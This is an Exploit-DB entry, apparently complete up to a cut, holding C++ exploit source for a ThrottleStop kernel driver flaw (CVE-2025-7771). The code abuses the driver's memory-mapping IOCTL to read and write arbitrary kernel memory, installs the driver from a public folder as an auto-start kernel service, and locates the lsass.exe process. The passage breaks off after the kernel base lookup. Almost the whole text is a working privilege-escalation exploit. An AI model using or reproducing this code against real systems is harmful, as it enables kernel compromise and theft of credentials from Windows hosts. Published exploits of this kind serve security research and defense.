Exploit-DB #52512
Description: Throttlestop Kernel Driver - Kernel Out-of-Bounds Write Privilege Escalation
Type: local
Platform: windows
Date: 2026-04-22
Author: Xavi Beltran

Exploit:
# Exploit Title: Throttlestop Kernel Driver - Kernel Out-of-Bounds Write Privilege Escalation 
# Exploit Details: https://xavibel.com/2025/12/22/using-vulnerable-drivers-in-red-team-exercises/
# Date: 8/12/2025
# Exploit Author: Xavi Beltran
# Vendor Homepage: https://www.techpowerup.com/download/techpowerup-throttlestop/
# Version: 3.0.0.0
# Tested on: Windows 11
# CVE-2025-7771

#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <Windows.h>
#include <Psapi.h>
#include <superfetch/superfetch.h>
#include <tlhelp32.h>
#include <string>
#include <sspi.h>

# define IOCTL_MMMAPIOSPACE  0x8000645C
#pragma comment(lib, "Secur32.lib")

#pragma pack(push,1)
typedef struct {
    ULONGLONG PhysicalAddress; // +0
    DWORD     NumberOfBytes;   // +8
} PHYS_REQ;                    // 0x0C
#pragma pack(pop)

// Struct needed to call nt!NtQueryIntervalProfile
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval);

LPVOID GetBaseAddr(LPCWSTR drvname)
{
    LPVOID drivers[1024];
    DWORD cbNeeded;
    int nDrivers, i = 0;
    if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers))
    {
        WCHAR szDrivers[1024];
        nDrivers = cbNeeded / sizeof(drivers[0]);
        for (i = 0; i < nDrivers; i++)
        {
            if (GetDeviceDriverBaseName(drivers[i], szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0])))
            {
                if (wcscmp(szDrivers, drvname) == 0)
                {
                    return drivers[i];
                }
            }
        }
    }
    return 0;
}

uint64_t xRead(HANDLE hDrv, uint64_t virt_addr) {
    auto mm = spf::memory_map::current();
    if (!mm) {
        printf("[!] Superfetch init failed!\n");
        return 0;
    }

    auto phys = mm->translate((void*)virt_addr);
    if (!phys) {
        printf("[!] Translate failed for VA %p!\n", (void*)virt_addr);
        return 0;
    }

    //printf("[+] Virtual Adress=0x%016llx -> Physical Address 0x%016llx\n", virt_addr, phys);
    // --- PHYSICAL READ ---
    PHYS_REQ in{};
    in.PhysicalAddress = phys;
    in.NumberOfBytes = 0x8;
    ULONGLONG out = 0;
    DWORD br = 0;
    BOOL ok = DeviceIoControl(hDrv,
        IOCTL_MMMAPIOSPACE,
        &in, sizeof(in),    // 0x0C
        &out, sizeof(out), //  Accepts 4 or 8
        &br, nullptr);

    //printf("[+] IOCTL OK=%d, br=%lu, err=%lu, Mapped Memory Ptr=0x%llx\n", ok, br, GetLastError(), (unsigned long long)out);
    if (ok && br == 8 && out) {
        ULONGLONG result = *(volatile ULONGLONG*)(uintptr_t)out; // 8 bytes exactos
              printf("[+] READ WHERE: 0x%016llx | CONTENT: 0x%016llx\n", (unsigned long long)virt_addr, (unsigned long long)result);
        return result;
    }

    return -1;
}

uint64_t xWrite(HANDLE hDrv, uint64_t where, uint64_t what) {
    auto mm = spf::memory_map::current();
    if (!mm) {
        printf("[!] Superfetch init failed!\n");
        return 0;
    }

    auto phys = mm->translate((void*)where);
    if (!phys) {
        printf("[!] Translate failed for VA %p!\n", (void*)where);
        return 0;
    }

    //printf("[+] Virtual Adress=0x%016llx -> Physical Address 0x%016llx\n", where, phys);
    PHYS_REQ in{};
    in.PhysicalAddress = phys;
    in.NumberOfBytes = 0x8;
    ULONGLONG out = 0;
    DWORD br = 0;
    BOOL ok = DeviceIoControl(hDrv,
        IOCTL_MMMAPIOSPACE,
        &in, sizeof(in),    // 0x0C
        &out, sizeof(out), // 8 (Accepts 4 or 8)
        &br, nullptr);

    //printf("[+] IOCTL OK=%d, br=%lu, err=%lu, Mapped Memory Ptr=0x%llx\n", ok, br, GetLastError(), (unsigned long long)out);
    if (ok && br == 8 && out) {
        ULONGLONG result = *(volatile ULONGLONG*)(uintptr_t)out; // 8 bytes exactos
    }

    // WRITE
    printf("[+] WRITE WHAT: 0x%016llx | WHERE: 0x%016llx\n", (unsigned long long)what, (unsigned long long)where);
    *(uint64_t*)out = what;
    return 0;
}

DWORD FindProcessId(const std::wstring& processName) {
    DWORD processId = 0;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snapshot == INVALID_HANDLE_VALUE)
        return 0;

    PROCESSENTRY32W entry;
    entry.dwSize = sizeof(PROCESSENTRY32W);

    if (Process32FirstW(snapshot, &entry)) {
        do {
            if (!_wcsicmp(entry.szExeFile, processName.c_str())) {
                processId = entry.th32ProcessID;
                break;
            }
        } while (Process32NextW(snapshot, &entry));
    }

    CloseHandle(snapshot);
    return processId;
}


int main()
{
    DWORD lsassPid = FindProcessId(L"lsass.exe");
    printf("[+] Target process PID: %d\n", lsassPid);
    //Installing the service

    SC_HANDLE hSCManager;
    SC_HANDLE hService;

    // Open the Service Control Manager
    hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
    if (hSCManager == NULL) {
        printf("[!] Error opening SCM: %lu\n", GetLastError());
        return 1;
    }

    // Create the service
    hService = CreateService(
        hSCManager,               
        L"ThrottleStop",          
        L"ThrottleStop",           
        SERVICE_ALL_ACCESS,       
        SERVICE_KERNEL_DRIVER,    
        SERVICE_AUTO_START,       
        SERVICE_ERROR_NORMAL,    
        L"C:\\Users\\Public\\a.sys",
        NULL, NULL, NULL, NULL, NULL);

    if (hService == NULL) {
        printf("[+] Error creating service: %lu\n", GetLastError());
        CloseServiceHandle(hSCManager);
        //return 1;
    }

    printf("[!] Service created successfully.\n");

    if (!StartService(hService, 0, NULL)) {
        printf("[!] Error starting the service: %lu\n", GetLastError());
    }
    else {
        printf("[+] Service started correctly.\n");
    }

    LPVOID nt_base = GetBaseAddr(L"ntoskrnl.exe");
    pr